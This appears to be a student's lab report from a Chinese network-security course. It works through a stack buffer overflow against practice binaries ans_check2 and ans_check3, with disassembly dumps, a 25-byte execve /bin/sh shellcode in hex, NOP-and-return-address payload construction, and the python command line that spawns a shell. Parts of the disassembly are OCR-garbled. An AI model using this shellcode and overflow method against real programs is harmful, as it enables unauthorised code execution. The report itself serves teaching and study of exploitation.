67 6e
                          outsb %ds:(%si),(%dx)
1a:
                          gs and %ah,%fs:%gs:0x68(%ebx)
1c:
     65 64 20 63 68
21:
     61
                   popa
22:
     72 00
                               24 < init-0x8048270>
                          ib
24:
     6d
                   insl (%dx),%es:(%edi)
25:
     61
                   popa
26:
     69 6e 00 2f 68 6f 6d
                          imul $0x6d6f682f,0x0(%esi),%ebp
2d:
     65
                   gs
2e:
     2f
                   das
2f:
     74 6f
                               a0 < init-0x80481f4>
                          įе
31:
     73 2f
                          jae
                               62 < init-0x8048232>
33:
     44
                   inc
                        %esp
34:
     65
                   gs
35:
     73 6b
                          jae a2 <_init-0x80481f2>
37:
     74 6f
                          įе
                              a8 < init-0x80481ec>
39:
     70 2f
                               6a <_init-0x804822a>
                          jo
3b:
                   outsb %ds:(%esi),(%dx)
     6e
3c:
     65
                   gs
3d:
     74 73
                               b2 <_init-0x80481e2>
3f:
     61
                   popa
40:
     66
                   data16
41:
     65 00 6c 6f 6e
                                %ch,%gs:0x6e(%edi,%ebp,2)
                          add
46:
     67 20 6c 6f
                          and
                                %ch,0x6f(%si)
4a:
                   outsb %ds:(%esi),(%dx)
     6e
4b:
     67 20 75 6e
                          and
                               %dh,0x6e(%di)
4f:
     73 69
                          jae ba < init-0x80481da>
51:
     67 6e
                          outsb %ds:(%si),(%dx)
                          gs and %ch,%fs:%gs:0x6e(%ecx)
53:
     65 64 20 69 6e
                               5a <_init-0x804823a>
58:
     74 00
                          įе
     47
                        %edi
5a:
                   inc
5b:
     4e
                   dec
                         %esi
5c:
     55
                   push %ebp
5d:
     20 43 20
                          and
                                %al,0x20(%ebx)
60:
     34 2e
                               $0x2e,%al
                          xor
                          ss xor %cs:%ss:(%eax),%eax
62:
     36 2e 33 00
66:
     73 68
                          jae d0 < init-0x80481c4>
68:
     6f
                   outsl %ds:(%esi),(%dx)
69:
     72 74
                              df < init-0x80481b5>
                          ib
6b:
     20 75 6e
                          and %dh,0x6e(%ebp)
     73 69
                          jae d9 < init-0x80481bb>
6e:
70:
     67 6e
                          outsb %ds:(%si),(%dx)
72:
     65 64 20 69 6e
                          gs and %ch,%fs:%gs:0x6e(%ecx)
77:
     74 00
                               79 < init-0x804821b>
                          jе
79:
     73 68
                               e3 < init-0x80481b1>
                          jae
```

```
7b:
      6f
                    outsl %ds:(%esi),(%dx)
 7c:
      72 74
                               f2 < init-0x80481a2>
                          jb
                                %ch,0x6e(%ecx)
 7e:
      20 69 6e
 81:
      74 00
                               83 < init-0x8048211>
Disassembly of section .debug_loc:
00000000 <.debug_loc>:
      00 00
                                 %al,(%eax)
 0:
                           add
      00 00
                                 %al,(%eax)
 2:
                           add
      01 00
                                 %eax,(%eax)
 4:
                           add
      00 00
 6:
                           add
                                %al,(%eax)
                                (%eax),%al
 8:
      02 00
                           add
      74 04
                               10 < init-0x8048284>
 a:
                           įе
      01 00
                                %eax,(%eax)
 c:
                           add
      00 00
                           add
                                %al,(%eax)
 e:
      03 00
                                (%eax),%eax
 10:
                           add
 12:
      00 00
                           add
                                %al,(%eax)
 14:
      02 00
                                (%eax),%al
                           add
 16:
      74 08
                               20 < init-0x8048274>
                           jе
 18:
      03 00
                           add (%eax),%eax
 1a:
      00 00
                           add
                                %al,(%eax)
                                (%eax),%al
 1c:
      1a 00
                           sbb
 1e:
      00 00
                           add
                                %al,(%eax)
 20:
      02 00
                           add
                                (%eax),%al
 22:
      75 08
                           ine
                                2c <_init-0x8048268>
 24:
      1a 00
                           sbb
                                (%eax),%al
 26:
      00 00
                                %al,(%eax)
                           add
                                (%eax),%eax
 28:
      1b 00
                           sbb
      00 00
                                %al,(%eax)
 2a:
                           add
 2c:
      02 00
                           add
                               (%eax),%al
      74 04
                               34 < init-0x8048260>
 2e:
```

上述代码是验证 shellcode 的基本方法。同时,shellcode 本身也是利用 C 语言写完后通过反编译获得的。具体如何设计和实现精简的 shellcode 属于高级话题。我们后面将直接利用上述 25 个字节的 shellcode 代码。

至此,我们来考虑构造输入内容,输入内容采用如下模板构造: (SNR)

aligned shellcode (对齐的 shellcode) + safe padding (填充) + start address of the buffer (缓冲区首地址).

这关之前的工作让我们知道了如下信息:

1)缓冲区首地址(不是通过 printf 获得); 2)能够覆盖返回地址的输入长度; 3) shellcode。

Gate 5 中的 shellcode 长度为 25,不能够被 4 整除,为此,需要增加 3 个字节的 NOP 操作 (\x90\x90\x90) 使其对齐(alignment)。

构造后的内容如下: ('\x2c\xf8\xff\xbf'地址替换为实际的缓冲区地址)

'\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\ xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x2c\xf8\xff\xbf'\*M

其中,我们需要确定 M 的大小,这里的约束是: 4\*M+28 = 覆盖长度。为了寻找 M,可以通过如下指令尝试: ('PAYLOAD'代表上述的构造内容)

./ans\_check2 \$(python -c "print 'PAYLOAD'")

将期望的输入和输出写在空白处。此时,期望的输入将不产生 seg fault,也没有正确或错误的判断结果,同时能够启动一个由 25 个字节 (sc1) 启动的 shell。

#### M 为 6

 $tos@tos211-vpc: $$(python -c "print "\x90\x90\x31\xc0\x50\x68\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'+'\xec\xf1\xff\xbf'*6")$ 

ans\_buf is at address 0xbffff1ec

\$

至此,你已经能够对 ans\_check2 进行利用了。尽管我们知道源代码,但在利用过程中并没有利用源代码的任何知识。

下面,我们体验一下对未知源代码程序的利用过程。

在课程主页网站上下载一个程序: ans\_check3,利用之前 Gate 学到的内容,利用该程序,获得命令行。

将 ans\_check3 的利用过程、输入和输出写在空白处。尽量用少的指令完成。体会利用一个未知程序的过程。

1、通过 python 辅助执行得到输入最大为 59,最小为 49 时可以得到正确答案且无错误。结果如下: `

tos@tos211-vpc:~/Desktop/netsafe\$ ./ans\_check3 \$(python -c "print '0'\*59") Right answer!

2、确定程序结束地址,并测试得到劫持程序的最小填充长度为17。

tos@tos211-vpc:~/Desktop/netsafe\$ objdump -D ans\_check3 | grep -B 1 exit

080483b4 <exit@plt>:

--

80484f7: c7 04 24 00 00 00 00 movl \$0x0,(%esp)

80484fe: e8 b1 fe ff ff call 80483b4 <exit@plt>

tos@tos211-vpc:~/Desktop/netsafe\$ ./ans check3 \$(python -c "print '\xf7\x84\x04\x08'\*17")

tos@tos211-vpc:~/Desktop/netsafe\$



#### 4、通过计算程序段的缓冲区地址,得到

```
#include <stdlib.h>

unsigned long Esp() {
    __asm__("movl %esp, %eax");
}

int main(void) {
    printf("esp: %x\n", Esp());
    return 0;
}
```

地址为 esp: bffff028

但因部分原因未能启动 shell,有待继续学习。

为了构造一个更可靠地漏洞利用,我们仍有很多工作要做。这个练习对系统要求较高,例如,关闭 ASLR,编译的时候设定可执行栈等。实际上,这些操作系统的保护措施完全可以被绕过。具体如何达到对现有程序漏洞(漏洞挖掘是另外的专题) 100%入侵,需要更多高级方法。

由于教学学时和大家兴趣不同所限,这些高级方法将不在本课程中继续讲授。如果某些同学对相关技术感兴趣,希望成为骨灰级系统程序员或黑客,可以 1)在网上继续查阅相关资料深入学习; 2)在微信中加入课程群,有问题可以随时咨询; 3)在研究生阶段进入相关课题组(嵩老师或其他老师课题组)深入学习。

嵩老师课题组主要从事下一代网络技术、网络信息安全和计算机体系结构方面研究,同时,承担 我国 XXX 领域 YYY 系统的研制和开发等工作,具体信息请到主页上查看。